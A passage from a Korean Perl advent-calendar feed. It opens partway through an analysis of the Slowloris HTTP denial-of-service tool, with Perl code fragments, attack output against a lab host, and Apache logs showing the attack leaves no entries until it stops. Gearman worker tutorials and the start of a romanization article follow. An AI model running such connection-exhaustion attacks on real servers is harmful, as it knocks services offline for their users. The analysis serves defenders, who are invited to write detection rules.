물론 정상적인 패킷은 아닙니다. OPEN된 연결을 유지하기위한 완전하지 않는 패킷이죠.</p>
<pre class="brush: plain;">
Connecting to 192.168.25.33:80 every 100 seconds with 1000 sockets:
Building sockets.
Building sockets.
Building sockets.
Building sockets.
....
....
Sending data.
Current stats: Slowloris has now sent 679 packets successfully.
This thread now sleeping for 100 seconds...
Sending data.
Current stats: Slowloris has now sent 733 packets successfully.
This thread now sleeping for 100 seconds...
Sending data.
Current stats: Slowloris has now sent 798 packets successfully.
This thread now sleeping for 100 seconds...
....
....
</pre>
<p>이제부터 <code>timewait</code> 설정에 따라 세션을 회수합니다.
이래야 관리자가 눈치채지 못하겠죠.
이 시점에서 공격을 멈추지 않는 한 접속 로그는 볼 수 없습니다.
이에 대해서는 마지막 부분에서 다루겠습니다.</p>
<pre class="brush: perl;">
# if ($test) {
# ....
#
if ( print $sock "Connection: Close\r\n\r\n" ) {
print "Okay that's enough time. Slowloris closed the socket.\n";
print "Use $delay seconds for -timeout.\n";
exit;
}
else {
print "Remote server closed socket.\n";
print "Use $delay seconds for -timeout.\n";
exit;
}
if ( $delay < 166 ) {
print <<EOSUCKS2BU;
Since the timeout ended up being so small ($delay seconds) and it generally
takes between 200-500 threads for most servers and assuming any latency at
all... you might have trouble using Slowloris against this target. You can
tweak the -timeout flag down to less than 10 seconds but it still may not
build the sockets in time.
EOSUCKS2BU
}
}
</pre>
<p>여기까지가 <code>-test</code> 옵션을 주었을 경우 <code>timeout</code> 값을 찾기 위한 실험 공격이었습니다.
<code>-test</code> 옵션 대신 <code>-timeout</code>과 <code>-connections</code> 설정을 부여하였을 경우
<code>doconnections()</code> 사용자 함수를 통해 공격을 시도합니다.</p>
<pre class="brush: perl;">
else {
print "Connecting to $host:$port every";
print $timeout seconds with $connections sockets:\n";
if ($usemultithreading) {
domultithreading($connections);
}
else {
doconnections( $connections, $usemultithreading );
}
}
</pre>
<p><code>doconnections()</code>는 지금까지 본 로직과 거의 동일하지만,
미리 정해진 연결의 개수와 timeout 시간에 대해 작동합니다.
쓰레드를 사용하게 되면 <code>domultithreading()</code>을 호출하고 <code>doconnections()</code> 함수를
다수의 쓰레드를 통해 실행합니다.</p>
<p>공격을 수행하면 "X-a: b\r\n"의 불완전한 헤더를 계속 보냅니다.
아래 그림과 같이 서버 측에서 FIN 패킷이 오지 않는 것을 확인 할 수 있습니다.
계속해서 SYN->SYNACK, SYN->SYNACK를 반복하여 세션을 만드는 것을 알 수 있습니다.</p>
<p><img src="2012-12-17-5_r.jpg" alt="SYN->SYNACK 반복" id="syn-synack" />
<em>그림 5.</em> SYN->SYNACK 반복 (<a href="2012-12-17-5.jpg">원본</a>)</p>
<h2>로그가 정말 남지 않을까?</h2>
<p>아래는 공격을 시도하고 있지만 로그가 남지 않는 모습입니다.</p>
<pre class="brush: bash;">
[root@centos63 httpd]$ tail -f access_log
::1 - - [16/Dec/2012:05:21:01 -0500] "OPTIONS * HTTP/1.0" 200 - "-" "Apache/2.2.15 (CentOS) (internal dummy connection)"
::1 - - [16/Dec/2012:05:21:02 -0500] "OPTIONS * HTTP/1.0" 200 - "-" "Apache/2.2.15 (CentOS) (internal dummy connection)"
::1 - - [16/Dec/2012:05:21:03 -0500] "OPTIONS * HTTP/1.0" 200 - "-" "Apache/2.2.15 (CentOS) (internal dummy connection)"
::1 - - [16/Dec/2012:05:21:04 -0500] "OPTIONS * HTTP/1.0" 200 - "-" "Apache/2.2.15 (CentOS) (internal dummy connection)"
::1 - - [16/Dec/2012:05:21:05 -0500] "OPTIONS * HTTP/1.0" 200 - "-" "Apache/2.2.15 (CentOS) (internal dummy connection)"
...
</pre>
<p>공격을 멈춰 보겠습니다.
멈춤과 동시에 로그가 생성되는 것을 볼 수 있습니다.</p>
<pre class="brush: plain;">
192.168.25.29 - - [16/Dec/2012:05:21:55 -0500] "GET / HTTP/1.1" 400 305 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1;
Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.503l3; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; MSOffice 12)"
192.168.25.29 - - [16/Dec/2012:05:21:55 -0500] "GET / HTTP/1.1" 400 305 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1;
Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.503l3; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; MSOffice 12)"
192.168.25.29 - - [16/Dec/2012:05:21:55 -0500] "GET / HTTP/1.1" 400 305 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1;
Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.503l3; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; MSOffice 12)"
...
</pre>
<h2>정리하며</h2>
<p>Perl은 이처럼 여러 분야에서 활약하고 있습니다.
더 많은 기능과 옵션이 있지만 아주 기본적인 공격 로직만 분석해 보았습니다.
7.7대란때 사용되었던 DOS, DDOS는 RUDY 공격의 테스트였다고 보고 있습니다.</p>
<p>2010년 달력 기사 <a href="http://advent.perl.kr/2010/2010-12-16.html">use Android;</a>와
<a href="http://advent.perl.kr/2010/2010-12-21.html">Plack on SL4A</a>를 참고하여 안드로이드에서
실험할 수도 있을 것입니다. (단 로컬망에서 해야합니다.)
INET 모듈은 인스톨이 잘 되지만, SSL 모듈은 SSLeay 등 기타 많은 모듈에 의존하는데
xS 모듈이 현재로서는 많이 까다로워 실험은 해보지 못했습니다.
이것은 추후 과제로 남겨두겠습니다.</p>
<p><code>doconnection()</code>을 이용하여 헤더 대신 커맨드와 같은 것들도 쓸 수 있을 것입니다.
현재 봇에게 RUDY의 소스를 심어서 공격한다면 ARP 플루딩같은 효과가 나오지 않을까 생각합니다.
그러면 IP 교체나 장비 교체같은 방법을 쓰지 않는 한 힘들 것 같습니다.
완전한 보안이란 어려운 일이며 많은 노력이 필요합니다.
이 기사를 보는 관리자 분들이 계시다면 스노트 룰이나 iptables 또는 WAF의 룰을 한 번 만들어
보시는 것은 어떨까요?
공격 뿐만 아니라 펄의 강력한 PCRE와 자동화 기능을 활용하여 더 멋진 봇을 만들 수 있지 않을까요?
Perl IRC를 지켜주는 봇 같은 것도 가능하겠네요.. :-)</p>
<h3>참고</h3>
<ul>
<li><a href="http://ha.ckers.org/slowloris/">Slowloris HTTP DoS</a></li>
<li><a href="http://vimeo.com/7618090">Hijacking Web 2.0 Sites with SSLstrip and SlowLoris - Sam Bowne and RSnake at Defcon 17</a></li>
</ul>
2012-12-17T00:00:00+09:00newbcodePerl and Gearmanhttp://advent.perl.kr/2012/2012-12-16.html<h2>저자</h2>
<p><a href="http://twitter.com/sng2c">@sng2c</a> - Perlmania, Perlmongers, 실용주의자, cross platform, 극진인</p>
<h2>시작하며</h2>
<p>용빈님의 gearman 기초 덕에 요점만 쓸 수 있게 되어 기쁩니다^^ <code>용빈님++</code>.</p>
<p>기어맨을 본격적으로 도입하셨나요?
손쉽고 깔끔하게 RPC와 맵리듀스를 구현한 뒤에 찾아오는 워커 관리 지옥을 겪어보셨나요?
저는 그 지옥을 보았습니다. 그래서 그 지옥에서 탈출하는 방법을 만들었고 공유드리고자 합니다.
기어맨 워커 운영시 겪게 되는 문제들은 이렇습니다.</p>
<ul>
<li>너무 많은 워커</li>
<li>너무 적은 워커</li>
<li>중복되는 코드</li>
<li>메모리릭</li>
<li>워커 프로세스의 종료</li>
</ul>
<h2 id="gearman::slotmanager">Gearman::SlotManager</h2>
<p>위 문제들을 한꺼번에 해결하기 위해
<a href="https://metacpan.org/module/Gearman::SlotManager">Gearman::SlotManager</a>을 작성하였습니다.
슬롯을 미리 확보해놓고 해당 슬롯의 워커를 <em>spawn</em>하는 방식으로 작동합니다.
최소 슬롯 수만큼 워커를 띄우고,
띄워진 모든 워커가 작업중이면 워커를 최대 슬롯 수만큼 띄우도록 했습니다.
노는 워커가 있다면 최소 슬롯 수까지 하나씩 줄입니다.</p>
<ul>
<li>Flexible한 워커풀의 관리.</li>
<li>워커의 Time to live 관리.</li>
<li>AnyEvent 루프내장.</li>
</ul>
<h2>모듈 설치</h2>
<p>아래와 같이 <code>cpan</code> 또는 <code>cpanm</code> 도구를 이용하여 설치합니다.</p>
<pre class="brush: bash;">
$ cpan Gearman::SlotManager
# 또는
$ cpanm Gearman::SlotManager
</pre>
<h2>워커 작성</h2>
<p>Gearman::SlotManager는 <a href="https://metacpan.org/module/Gearman::SlotWorker">Gearman::SlotWorker</a>를 이용하도록 되어 있습니다.</p>
<pre class="brush: perl;">
package TestWorker; # 패키지명을 꼭 명시
use Any::Moose; # Any::Moose를 이용합니다.
extends 'Gearman::SlotWorker'; # Gearman::SlotWorker를 상속
# TestWorker::reverse로 Gearman에 등록됩니다.
sub reverse{
my $self = shift;
my $data = shift;
return reverse($data);
}
# '_'로 시작하면 등록되지 않습니다.
sub _private {
my $self = shift;
my $data = shift;
return $data;
}
# 전체 대문자 역시 등록되지 않습니다.
sub NOTVISIBLE{
...
}
</pre>
<p>데이터를 받아서 <code>reverse</code> 함수의 리턴값을 되돌려주는, 크게 쓸모는 없는 워커를 만들었습니다.
메소드를 추가하면 <code>PACKAGE_NAME::METHOD_NAME</code>으로 Gearman 데몬에 등록이 되구요.
SlotManager를 작성해 모듈만 명시해주면 바로 사용할 수 있게 됩니다.</p>
<h2 id="gearmand">gearmand 기동</h2>
<p>모듈을 성공적으로 설치하면 Perl로 구현된 <code>gearmand</code>가 설치되어 있을 것입니다.
아래와 같이 실행하여 Gearman 데몬을 하나 띄워줍니다.</p>
<pre class="brush: bash;">
$ gearmand -p 9955 -d
</pre>
<p>물론 <a href="http://gearman.org/doku.php">binary gearmand</a>도 사용할 수 있습니다.</p>
<h2 id="slotmanager">SlotManager 작성 및 기동</h2>
<p><a href="https://metacpan.org/module/Gearman::SlotManager">Gearman::SlotManager</a>를 이용하여 시동 스크립트를 작성해봅시다.
Gearman::SlotManager 모듈에 포함된
<a href="https://metacpan.org/source/KHS/Gearman-SlotManager-0.3/testManager.pl">testManager.pl</a> 스크립트를
참고하여 작성해봅시다.</p>
<pre class="brush: perl;">
#!/usr/bin/perl
use AnyEvent;
use Gearman::SlotManager;
my $cv = AE::cv;
# 데몬종료를 위한 SIGNAL 처리
my $sig = AE::signal 'INT' => sub {
$cv->send;
};
my $slotman = Gearman::SlotManager->new(
config =>
{
slots => {
'TestWorker' => { # 워커의 패키지명
job_servers => ["localhost:9955"], # gearmand 의 port
libs => ['.'], # worker가 있는 경로
min => 2, # child 최소갯수, 기본값 1
max => 5, # child 최대갯수, 기본값 2
workleft => 10, # child 당 처리 횟수, 기본값 0.
}
}
},
port => 55522, # child 상태조회용 port.
# 여러개의 SlotManager를 띄울 경우 겹치지 않게 설정.
);
$slotman->start; # 데몬 시작 준비 (child process 생성)
my $res = $cv->recv; # 이벤트루프 시작(데몬시작)
$slotman->stop; # SlotManager 중지 (child process 제거)
undef($slotman); # SlotManager 삭제
undef($sig); # 시그널 핸들러 삭제
</pre>
<p>좀 길어 보이죠?
그렇지만 잘 뜯어보면 아주 간략합니다.
부분부분 살펴봅시다.</p>
<h3>모듈 로드</h3>
<p>SlotManager는 AnyEvent를 이용하므로 AnyEvent를 <code>use</code>해야 합니다.</p>
<pre class="brush: perl;">
use AnyEvent;
use Gearman::SlotManager;
</pre>
<h3>종료 시그널 처리</h3>
<p><code>Ctrl+C</code>를 받으면 <code>$cv</code>, 즉 AnyEvent의 CondVar에 메세지를 던져서 루프를 종료시키게끔 해놨습니다.</p>
<pre class="brush: perl;">
my $cv = AE::cv;
# 데몬종료를 위한 SIGNAL 처리
my $sig = AE::signal 'INT' => sub {
$cv->send;
};
</pre>
<h3 id="slotmanager">SlotManager의 생성</h3>
<p>이 부분은 좀 복잡하네요.</p>
<pre class="brush: perl;">
my $slotman = Gearman::SlotManager->new(
config =>
{
slots => {
'TestWorker' => { # 워커의 패키지명
job_servers => ["localhost:9955"], # gearmand 의 port
libs => ['.'], # worker가 있는 경로
min => 2, # child 최소갯수, 기본값 1
max => 5, # child 최대갯수, 기본값 2
workleft => 10, # child 당 처리 횟수, 기본값 0.
}
}
},
port => 55522, # child 상태조회용 port.
# 여러개의 SlotManager를 띄울 경우 겹치지 않게 설정.
);
</pre>
<p><code>slots</code> 키의 값은 아래와 같은 의미입니다.</p>
<ul>
<li>TestWorker.pm 파일이 같은 디렉토리(<code>'.'</code>)에 있고</li>
<li>localhost:9955에 떠있는 gearmand에 접속을 할 것이며,</li>
<li>시작시 2개의 워커를 띄우고,</li>
<li>15초에 한번씩 검사하여 2워커가 모두 busy 상태이면, 5개까지 늘리도록 하고,</li>
<li>각 워커는 10번의 호출을 처리하고 나면 respawn을 하도록 해라.</li>
</ul>
<p>워커가 여러개라면 어떻게 할까요?
이렇게 여러개를 등록해줄 수 있습니다.</p>
<pre class="brush: perl;">
slots => {
'TestWorker' => { # 워커의 패키지명
job_servers => ["localhost:9955"], # gearmand 의 port
libs => ['.'], # worker가 있는 경로
min => 2, # child 최소갯수, 기본값 1
max => 5, # child 최대갯수, 기본값 2
workleft => 10, # child 당 처리 횟수, 기본값 0.
},
'SecondWorker' => {
job_servers => ["localhost:9955"],
libs => ['../second'],
min => 2,
max => 5,
workleft => 10,
}
}
</pre>
<p>반복되는 설정항목들이 보이죠?
아래와 같이 global 항목에 기본값들을 넣으면 깔끔해집니다.</p>
<pre class="brush: perl;">
slots => {
global => {
job_servers => ["localhost:9955"],
libs => ['.'],
min => 2,
max => 5,
workleft => 10,
},
'TestWorker' => { max => 50, },
'SecondWorker' => { workleft => 20, }
}
</pre>
<p>이런 방법으로 여러 서비스에 사용되는 워커들을 통합 관리할 수 있게 됩니다.</p>
<h3>기동</h3>
<p>아래와 같이 기동합니다.</p>
<pre class="brush: perl;">
perl testManager.pl
</pre>
<p>프로세스 목록을 보면 child 프로세스들이 후루룩 떠있는 것을 목격하실텐데, <code>testManger.pl</code>의 프로세스만 <code>ctrl+c</code>로 종료시켜주면 샤라락 사라지니 걱정않으셔도 됩니다.</p>
<h2 id="slotworkeranyevent">SlotWorker에서의 AnyEvent</h2>
<p>SlotWorker는 <code>::Slot</code> 클래스에 의해 직접 별도의 프로세스로 실행됩니다.
<code>fork</code>로 프로세스를 생성하지 않으므로 AnyEvent의 부작용이 없습니다.
SlotWorker 프로세스는 독립적인 AnyEvent Loop를 가지고 있어서 메소드안에서 마음껏 <code>$cv->recv()</code>를 이용하여 비동기 처리를 해줄 수 있습니다.
이전 예제의 TestWorker에 아래와 같이 써서, <code>TestWorker::wait</code>를 호출해도 잘 작동하는 거죠~</p>
<pre class="brush: perl;">
sub wait {
my $cv = AE::cv;
# 10초 딜레이
my $timer = AE::timer 10, 0, sub { $cv->send };
$cv->recv;
return "OK";
}
</pre>
<p>게다가 <code>workleft</code>를 설정해놓으면, Worker 프로세스를 완전히 중지시키고 새 Worker 프로세스를 시작시키기 때문에, 사용하는 모듈에 Memory-Leak이 있다고 하더라도 마음놓고 돌릴 수 있습니다. ^^</p>
<h2>정리하며</h2>
<p>요즘 시간에 여유가 없어서, 급한 마음으로 작성하다보니 보다 풍부한 예를 들지 못한 점이 아쉽네요.
Gearman 워커를 다수 운영하며, 여러가지 아쉬웠던 점들을 보완하기 위해 만든 모듈이니만큼, 같은 입장에 놓이신 여러분들께 많은 도움이 되리라 기대합니다.</p>
2012-12-16T00:00:00+09:00sng2c자랑스러운 우리 회사의 숨은 일꾼 만들기http://advent.perl.kr/2012/2012-12-15.html<h2>저자</h2>
<p><a href="http://twitter.com/y0ngbin">@y0ngbin</a> - aka 용사장 / Minivelo++ / 맞춤법 전문가</p>
<h2>시작하며</h2>
<p>첫눈이 내리고, 어김없이 캐럴이 울려퍼지면, 거리에는 삼삼오오 소중한
사람들과 함께 즐거운 시간을 보내는 사람들로 북적거리는 연말이 찾아온 것을 느낄
수 있습니다. 하지만 모두가 즐거운 시간을 보내는 이 순간에도 원활한 서비스를
위해 누군가는 어딘가에서 묵묵히 일을 해야만 합니다. 크리스마스이브에
야근을 해야 하는 그 누군가가 여러분이 되지 않기 위해서는 그 일을 맡길 다른 사람을
얼른 찾아야 합니다.</p>
<p>Gearman은 이런 우리의 고민을 해결해 줄 수 있는 근사한 해결책 중에
하나입니다. Gearman은 여러분이 작성한 일꾼을 밤낮으로 감시하며 언제든
원하는 일을 처리할 수 있는 환경을 제공해 줍니다. 일꾼은 항상 시킨 일을
묵묵히 할 뿐만 아니라 필요하면 언제든지 일꾼의 수를 늘리거나 줄일 수
있습니다. '일꾼1'과 '일꾼2'가 잡 큐 작업장에서 만나 비밀 사내 연애 끝에
결혼을 해 '일꾼3'을 출산하게 되어 육아휴직을 주어야 할 일도 없고, 임금인상이나
퇴직금을 요구하지도 않으며, 노조를 결성해서 파업할 걱정도 없으므로 회사를
경영하는 처지에서는 더할 나위 없이 좋은 대안입니다.</p>
<p>그리고 Gearman과 같은 잡 큐 방식의 구조를 빌릴 경우, 시간이 오래 걸리는
작업에 대해 병목이 되는 지점에 추가적인 작업을 더 할당해서 그 일을 병렬로 처리해
작업의 처리 효율을 높힐 수도 있고, 때로는 '서비스1'과 '서비스2'에서 반복적으로
사용하는 공통 기능 <em>X</em>를 각각의 서비스마다 중복해 구현하지 않고 외부에
두어 구조를 개선할 수도 있습니다.</p>
<h2 id="gearman">Gearman 소개</h2>
<p>Gearman은 <em>memcached</em>, <em>MogileFS</em>으로 유명한 <em>Danga Interactive</em>에서 개발한 제품 중에
하나로 유명한 펄 해커인 <em>Brad Fitzpatrick</em> 씨가 제작했습니다. 초창기 Gearman은
순수하게 펄로 작성되었고 클라이언트 라이브러리도 주로 펄만
고려했습니다. 하지만 이후 Eric Day 씨가 Gearman을 C로 재작성하고 타 언어에
대한 클라이언트 라이브러리 지원 등을 강화하면서 지금의 Gearman은 언어 중립적이고
포괄적인 분산 프로세스 플랫폼으로 발전했습니다. 현재 Gearman의 워커로
등록시킬수 있는 언어는 C와 Perl, Python, PHP, Java, Go, MySQL의
UDF(User Defined Function)가 있습니다. 따라서 Gearman을 사용하면 Java로 작성한
워커를 Perl로 작성한 응용프로그램에서 사용하거나 그 반대의 상황을 만드는 것이
아주 쉬워집니다.</p>
<h2 id="gearman">Gearman 구성요소</h2>
<p>Gearman을 이해하기 위해서는 먼저 Gearman을 구성하고 있는 요소들의 특징과
역할을 이해할 필요가 있습니다.</p>
<p><em>Gearman 서버</em>는
클라이언트에서 전달받은 작업을 적절한 워커로 분배하는 역할을 합니다.
초기 Gearman은 작업을 따로 저장하지 않고 메모리에서 처리했지만 현재는
다양한 영속 저장방법을 지원하고 있습니다. (libmemcached, libdrizzle,
SQLite, Mysql, Postgres, tokyocabinet, Redis, Mongodb)
Gearman 서버는 멀티서버를 지원하기 때문에 단일 장애지점(Single Point of Failure)을 피해서 구성할수 있습니다.
현재 사용할 수 있는 Gearman 서버 구현체는
C로 작성된 <a href="http://gearman.org/">gearmand</a>과
펄로 작성된
<a href="http://search.cpan.org/~dormando/Gearman-Server-1.11/lib/Gearman/Server.pm">Gearman::Server</a>가 있습니다.</p>
<p><em>Gearman 워커</em>는
실제 우리가 원하는 작업을 수행하는 프로세스입니다.
위에 언급한 것처럼 다양한 언어로 작성할 수 있습니다.
Gearman 워커의 구현체는 펄로 구현된
<a href="http://search.cpan.org/~dormando/Gearman-1.11/lib/Gearman/Worker.pm">Gearman::Worker</a>과
C로 구현된 libgearmand, 그리고 libgearmand를 사용해 구현된
<a href="http://search.cpan.org/~dschoen/Gearman-XS-0.12/lib/Gearman/XS/Worker.pm">Gearman::XS::Worker</a>가 있습니다.</p>
<p><em>Gearman 클라이언트</em>는
워커에게 작업을 시키는 프로세스입니다.
마찬가지로 다양한 언어로 작성될 수 있습니다.
C로 작성된 libgearmand와 펄로 구현된
<a href="http://search.cpan.org/~dormando/Gearman-1.11/lib/Gearman/Client.pm">Gearman::Client</a>가 있으며,
libgearmand를 사용해 구현된
<a href="http://search.cpan.org/~dschoen/Gearman-XS-0.12/lib/Gearman/XS/Client.pm">Gearman::XS::Client</a>가 있습니다.</p>
<h2 id="gearman">Gearman 서버 및 환경 구성하기</h2>
<p>Gearman의 동작방식을 이해하기 위한 간단한 예제를 살펴보겠습니다.</p>
<p>먼저 CPAN을 통해 간단하게 <code>Gearman::Server</code>를 설치하고 기동해 봅시다. 현재
활발하게 개발되고 다양한 기능을 갖추고 있는 것은 C로 구현된 <code>gearmand</code>입니다.
지금은 간단한 테스트를 하기 위해 순수하게 펄로만 구현된 Gearman::Server를
사용해 보겠습니다.</p>
<pre class="brush: bash;">
$ cpanm -n Gearman::Server Gearman::Worker Gearman::Client
$ gearmand
</pre>
<p><code>Gearman::Server</code>를 설치하고 나면 <code>gearmand</code>라는 CLI 도구가 설치됩니다.
<code>gearmand</code>를 실행하면 <code>127.0.0.1</code>에 7003번 포트로 Gearman 서버가
구동됩니다.</p>
<h3 id="gearman">Gearman 클라이언트 작성</h3>
<p>다음으로 워커를 작성하는 대신, 워커를 이용하는 클라이언트 코드를 먼저 작성해
보겠습니다. 이렇게 순서를 바꿔서 진행하는 이유는 조금더 Gearman의
동작 방식을 잘 이해하기 위해서 입니다.</p>
<pre class="brush: perl;">
#!/usr/bin/env perl
use Gearman::Client;
use Storable qw( freeze );
my $client = Gearman::Client->new;
$client->job_servers('127.0.0.1:7003');
my $tasks = $client->new_task_set;
my $handle = $tasks->add_task(
sum => freeze( [ 3, 5 ] ),
{
on_complete => sub { print ${ $_[0] }, "\n" }
}
);
$tasks->wait;
</pre>
<p>위 코드는 <em>sum</em>이라는 이름의 워커에게 <code>3</code>과 <code>5</code>를 인자로 전달하고 작업이 끝나면 처리 결과를
화면에 출력하는 간단한 클라이언트입니다.
Gearman은 언어 중립적이고 펄과 무관하므로 클라이언트와 워커 사이에 인자를
전달하기 위해서는 <a href="https://www.metacpan.org/module/Storable">Stroable</a>이나 <a href="https://www.metacpan.org/module/JSON">JSON</a>과 같은 마샬링 처리가 필요합니다.
이 코드를 실행하면 프로세스가 종료되지 않고 계속 대기하는것을 볼 수
있습니다. 현재 클라이언트가 처리 요청한 sum 워커가 존재하지 않기
때문에 적절한 워커가 생성될 때까지 작업 요청이 대기하는 것입니다.</p>
<h3 id="gearmanworker">Gearman Worker의 작성</h3>
<p>자 이제 <code>sum</code>이라는 일을 처리해줄 워커를 만들어봅시다.</p>
<pre class="brush: perl;">
#!/usr/bin/env perl
use Gearman::Worker;
use Storable qw( thaw );
use List::Util qw(sum);
my $worker = Gearman::Worker->new;
$worker->job_servers('127.0.0.1:7003');
$worker->register_function( sum => sub { sum @{ thaw( $_[0]->arg ) } } );
$worker->work while 1;
</pre>
<p>워커를 만들기 위해서는 Gearman::Worker 객체를 사용합니다.
먼저 워커를 등록할 적절한 Gearman 서버를 지정합니다.
그리고 <code>register_function()</code> 함수로 워커를 등록합니다.
sum 워커는 <code>List::Util</code>의 <code>sum()</code> 함수를 제공합니다.
위에서 설명한 것처럼 클라이언트에서 인자를 <code>Storable</code>로 직렬화(Serialize)했기
때문에 워커도 마찬가지로 <code>Storable</code>의 <code>thaw()</code> 함수를 통해 언마샬링하고 있습니다.
이 코드를 실행시키면 거의 동시에 앞서서 실행했던 클라이언트 쪽 프로세스가
<code>8</code>이라는 결과를 내고 종료합니다. 이 코드가 실행되는 순간 잡
서버에는 sum 워커가 등록되고 기존에 대기중이었던 작업이
할당되고 처리되면서 클라이언트 요청이 성공적으로 끝나기 때문입니다.</p>
<p>이 워커 코드를 한대의 장비에서 여러 개 띄울 수도 있고, 심지어
분리된 장비에 나눠서 띄울 수도 있습니다. 어떤 방식으로든 워커를
잡 서버에 등록하기만 하면 그다음부터 클라이언트에서 워커가 어디에
어떻게 떠있는지 알 필요 없이 단순하게 요청하고 결과를 받으면 잡 서버가 알아서
작업 분배를 합니다.</p>
<h2 id="gearman">Gearman 실전</h2>
<p>마지막으로 개인적으로 Gearman을 활용해 문제를 해결했던 상황을 간단하게
소개하고 오늘의 기사를 정리하겠습니다.</p>
<p>당시 1만 개 정도의 웹페이지를 긁어온 뒤 필요한 자료를 추출하고 저장하는 작업이
있었습니다. 먼저 그 작업을 평범한 스크립트로 작성해서 실행시켜 본 결과 주로
로컬의 CPU와 메모리를 소모하는 자료의 추출 및 저장 프로세스보다 외부의 네트워크
자원을 소모하고 대역폭의 영향을 받는 웹페이지 추출 작업이 대부분 시간을
소모하는 병목지점임을 알게 되었습니다.</p>
<p>이 프로세스의 속도를 개선하기 위해서 Gearman을 사용하기로 하고 다음과
같이 진행했습니다. 먼저 기존에 작성했던 스크립트에서 혼재되어있는 코드를 각각의 작업영역별로
함수단위로 정리하고 예전과 같게 동작하도록 수정했습니다. 그래서
4개의 함수로 <code>list_fetch()</code>, <code>detail_fetch()</code>, <code>store_page()</code>, <code>parse_page()</code>가
만들어졌습니다.</p>
<p>각각의 함수를 별도의 파일로 분리하고 <code>Gearman::XS::Worker</code>를 사용해 워커로
등록했습니다.
앞서 분석한 결과에 따라 주요 병목지점인 <code>list_fetch()</code> 워커를 2개, <code>detail_fetch()</code>
워커를 6개 실행하고, 나머지 <code>store_page()</code>, <code>parse_page()</code> 워커는 하나씩만
실행했습니다.</p>
<p>작업이 순차적으로 진행될 필요가 있는 경우, 즉 <code>list_fetch()</code>한
페이지를 통해 복수 페이지에 대한 <code>detail_fetch()</code> 요청이 생성되고 그 결과에
대해 <code>parse_page()</code>와 <code>store_page()</code> 요청이 생기는 경우에는 Gearman 워커 코드 내에
Gearman 클라이언트 코드를 삽입해 작업이 연쇄적으로 일어날 수 있도록
조정했습니다.</p>
<p>C로 구현된 gearmand를 컴파일해 설치하고 작업의 저장은 로컬 SQLite를
사용했으며 Perl 워커와 클라이언트는 각각 <code>Gearman::XS::Client</code>,
<code>Gearman::XS::Worker</code>를 사용해 작성했습니다.
결과적으로 병목지점이 되던 네트워크 사용 부분이 해소되면서 전체 실행시간이
70% 정도 개선되었습니다.
당시 사용했던 코드는 <a href="https://github.com/yongbin/gearman-fetch-ralphlauren">github에 올려두었으니</a>
참고하시기 바랍니다.</p>
<h2>정리하며</h2>
<p>처음 Gearman을 접한다면 서버와 워커, 클라이언트가 분리되어있는 구조가 조금은
복잡하고 불필요하게 느껴질 수도 있지만 단순하게 매번 반복적으로 실행되는 어떤
프로세스를 재사용 될 수 있도록 구조화하는데 있어서 Gearman의 처리방식은
합리적이고 이점이 많습니다. 만약 아직도 단순하고 반복적인 업무를 매번
일일이 실행시키며 귀중한 시간을 낭비하고 있다면 올겨울 Gearman과 그의 충실하고
믿음직스러운 일꾼들에게 그 일을 맡겨보는 것은 어떨까요?</p>
<h2>참고자료</h2>
<ul>
<li><p><a href="http://gearman.org/">Gearman.org</a> -
Eric Day의 C 구현 Gearman 홈페이지, 각종 문서와 최신 자료가 풍부합니다.</p></li>
<li><p><a href="http://www.ibm.com/developerworks/kr/library/os-php-gearman/">Gearman을 사용하여 PHP 애플리케이션의 워크로드 분배하기</a> -
IBMdW에 기재된 gearman과 php 활용 기사, Perl Gearman 자료는 아니지만
Gearman을 이해하는데 도움이 되는 우리말 기사입니다.</p></li>
<li><p><a href="http://backstage.soundcloud.com/2012/08/evolution-of-soundclouds-architecture/">Evolution of SoundCloud’s Architecture</a> -
Gearman을 직접 다루지는 않지만 잡 큐 기반의 서브시스템을 활용해
웹서비스의 기능을 확장하는 과정을 잘 설명하고 있습니다.</p></li>
</ul>
2012-12-15T00:00:00+09:00y0ngbin동아시아 언어의 로마자 변환에 도전해보자!http://advent.perl.kr/2012/2012-12-14.html<h2>저자</h2>
<p><a href="http://twitter.com/studioego">@studioego</a> -
평범한 일반 직장인으로 자청하고 있는 컴맹 월급도둑.
대만(臺灣,台湾,Taiwan)과 일본(日本, Japan) 여행을 갔다왔더니
한자(漢字, 汉字, Chinese Character)에 대해 호기심을 가지며,
관심을 갖게된 이상한 사람.</p>
<h2>시작하기 전에</h2>
<p>오늘은 동아시아의 각 나라에서 쓰이는 언어들에 대해 로마자 표기에 대해 소개하겠습니다.
동아시아 각 나라의 문자 입력 방식은 아래와 같습니다.</p>
<table>
<caption><em>표 1.</em> 각 나라의 문자 입력 방식 (출처: CJKV Information Processing , 1st Edition)</caption>
<col align="center" />
<col />
<thead>
<tr>
<th>Locale (로케일)</th>
<th>Writing Systems (입력 시스템)</th>
</tr>
</thead>
<tbody>
<tr>
<td align="center">중국(China)</td>
<td>Latin, 한자[汉字, hanzi(simplified chinese) 简体中文]</td>
</tr>
<tr>
<td align="center"> </td>
</tr>
<tr>
<td align="center">대만(Taiwan)</td>
<td>Latin, 주음부호[zhuyin,注音符號]</td>
</tr>
<tr>
<td align="center"> </td>
<td>and 한자[漢字, hanzi(traditional chinese),繁體中文]</td>
</tr>
<tr>
<td align="center"> </td>
<td> </td>
</tr>
<tr>
<td align="center">일본(Japan)</td>
<td>Latin, "히라가나[hiragana,ひらがな]",</td>
</tr>
<tr>
<td align="center"> </td>
<td>"카타카나[Katakana,カタカナ]", and "한자[kanji 漢字,かんじ]"</td>
</tr>
<tr>
<td align="center"> </td>
<td> </td>
</tr>
<tr>
<td align="center">한국(Korea)</td>
<td>Latin, 한글[hangul], 한자[漢字, hanja]</td>
</tr>
</tbody>
</table>
<p>각 나라별로 입력 방식 참 많죠?
영어를 쓰는 나라나 알파벳을 사용하는 나라에서는 입력 방식이 알파벳이면 되지만,
한자(漢字/汉字/Chinese Character)를 사용하는 국가에서는 한자와 자국어를 입력하기
위해 여러가지 입력방식을 사용한다는 것을 알 수 있습니다. </p>
<p>위의 문자들을 입력할때 한국어의 경우는 한글로 편하게 입력할수 있지만(로마자로도 입력 가능합니다),
